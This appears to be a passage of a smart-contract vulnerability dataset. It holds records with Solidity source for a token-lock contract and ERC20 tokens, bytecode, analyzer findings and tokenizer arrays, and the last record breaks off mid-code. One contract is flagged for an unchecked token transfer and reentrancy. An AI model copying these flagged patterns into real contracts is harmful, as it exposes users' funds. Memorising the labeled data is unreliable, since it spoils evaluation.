uint256 public fifty_two_weeks = 29894400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0xa7a70D63Cf37A2bC0516E4A7A0eAdDb91d3B42f5; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631624335681146100be57806338af3eed146100e55780636e15266a14610116578063834ee4171461012b57806386d1a69f146101405780638da5cb5b146101575780639b7faaf01461016c5780639e1a4d1914610195578063a4e2d634146101aa578063f2fde38b146101bf578063f83d08ba146101e0578063fa2a8997146101f5575b600080fd5b3480156100ca57600080fd5b506100d361020a565b60408051918252519081900360200190f35b3480156100f157600080fd5b506100fa610210565b60408051600160a060020a039092168252519081900360200190f35b34801561012257600080fd5b506100d361021f565b34801561013757600080fd5b506100d3610225565b34801561014c57600080fd5b5061015561022b565b005b34801561016357600080fd5b506100fa6103d1565b34801561017857600080fd5b506101816103e0565b604080519115158252519081900360200190f35b3480156101a157600080fd5b506100d36103e8565b3480156101b657600080fd5b5061018161047e565b3480156101cb57600080fd5b50610155600160a060020a036004351661049f565b3480156101ec57600080fd5b50610181610533565b34801561020157600080fd5b506101816105db565b60045481565b600254600160a060020a031681565b60055481565b60035481565b60008054600160a060020a0316331461024357600080fd5b60025474010000000000000000000000000000000000000000900460ff16151561026c57600080fd5b6002547501000000000000000000000000000000000000000000900460ff161561029557600080fd5b61029d6103e0565b15156102a857600080fd5b6102b06103e8565b600154600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561032457600080fd5b505af1158015610338573d6000803e3d6000fd5b505050506040513d602081101561034e57600080fd5b505060025460408051600160a060020a0390921682526020820183905280517f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a919281900390910190a1506002805475ff00000000000000000000000000000000000000000019167501000000000000000000000000000000000000000000179055565b600054600160a060020a031681565b600454421190565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050506040513d602081101561047757600080fd5b5051905090565b60025474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031633146104b657600080fd5b600160a060020a03811615156104cb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461054b57600080fd5b60025474010000000000000000000000000000000000000000900460ff161561057357600080fd5b600061057d6103e8565b1161058757600080fd5b4260038190556005546105a0919063ffffffff6105fd16565b6004556002805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905590565b6002547501000000000000000000000000000000000000000000900460ff1681565b60008282018381101561060c57fe5b93925050505600a165627a7a72305820220a538aec078b7277849764f00ea75c1c25c586a0d2d0b13c91e1731fd6bc6c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2487, 12879, 2683, 22394, 19797, 2692, 23833, 17465, 2581, 2575, 20952, 23632, 7011, 2683, 2546, 2581, 23777, 2050, 2575, 11057, 16048, 2692, 2581, 14526, 2475, 2094, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,049
0x961f63e23ae01138f32e6a05177fcac19531bd3c
pragma solidity ^0.4.4; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract IFCNBToken is StandardToken { string public name = "CNB Token"; string public symbol = "IFCNB"; uint8 public decimals = 8; uint256 public INITIAL_SUPPLY = 200000000000000000; function IFCNBToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }
0x6080604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461018057806323b872dd146101a75780632ff2e9dc146101d1578063313ce567146101e6578063661884631461021157806370a082311461023557806395d89b4114610256578063a9059cbb1461026b578063d73dd6231461028f578063dd62ed3e146102b3575b600080fd5b3480156100ca57600080fd5b506100d36102da565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561010d5781810151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015457600080fd5b5061016c600160a060020a0360043516602435610368565b604080519115158252519081900360200190f35b34801561018c57600080fd5b506101956103ce565b60408051918252519081900360200190f35b3480156101b357600080fd5b5061016c600160a060020a03600435811690602435166044356103d4565b3480156101dd57600080fd5b5061019561054d565b3480156101f257600080fd5b506101fb610553565b6040805160ff9092168252519081900360200190f35b34801561021d57600080fd5b5061016c600160a060020a036004351660243561055c565b34801561024157600080fd5b50610195600160a060020a036004351661064c565b34801561026257600080fd5b506100d3610667565b34801561027757600080fd5b5061016c600160a060020a03600435166024356106c2565b34801561029b57600080fd5b5061016c600160a060020a03600435166024356107a5565b3480156102bf57600080fd5b50610195600160a060020a036004358116906024351661083e565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103605780601f1061033557610100808354040283529160200191610360565b820191906000526020600020905b81548152906001019060200180831161034357829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60005481565b6000600160a060020a03831615156103eb57600080fd5b600160a060020a03841660009081526001602052604090205482111561041057600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561044057600080fd5b600160a060020a038416600090815260016020526040902054610469908363ffffffff61086916565b600160a060020a03808616600090815260016020526040808220939093559085168152205461049e908363ffffffff61087b16565b600160a060020a0380851660009081526001602090815260408083209490945591871681526002825282812033825290915220546104e2908363ffffffff61086916565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60065481565b60055460ff1681565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156105b157336000908152600260209081526040808320600160a060020a03881684529091528120556105e6565b6105c1818463ffffffff61086916565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526001602052604090205490565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103605780601f1061033557610100808354040283529160200191610360565b6000600160a060020a03831615156106d957600080fd5b336000908152600160205260409020548211156106f557600080fd5b33600090815260016020526040902054610715908363ffffffff61086916565b3360009081526001602052604080822092909255600160a060020a03851681522054610747908363ffffffff61087b16565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a03861684529091528120546107d9908363ffffffff61087b16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561087557fe5b50900390565b60008282018381101561088a57fe5b93925050505600a165627a7a723058208556b4f0197d05ae7fe70a1f6c59c6ab0b9b0a16b38530483ccf563b3e1d628d0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2487, 2546, 2575, 2509, 2063, 21926, 6679, 24096, 17134, 2620, 2546, 16703, 2063, 2575, 2050, 2692, 22203, 2581, 2581, 11329, 6305, 16147, 22275, 2487, 2497, 2094, 2509, 2278, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 1018, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,050
0x962031929d53380cfe26ba90e184edb4d1ffc2a6
// TIME TO HODL @ carpedao.org // File @openzeppelin/contracts/drafts/IERC20Permit.sol@v3.4.1 // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // File @openzeppelin/contracts/math/SafeMath.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/token/ERC20/IERC20.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // File @openzeppelin/contracts/utils/Address.sol@v3.4.1 pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: value}( data ); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall( target, data, "Address: low-level static call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall( target, data, "Address: low-level delegate call failed" ); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/token/ERC20/SafeERC20.sol@v3.4.1 pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 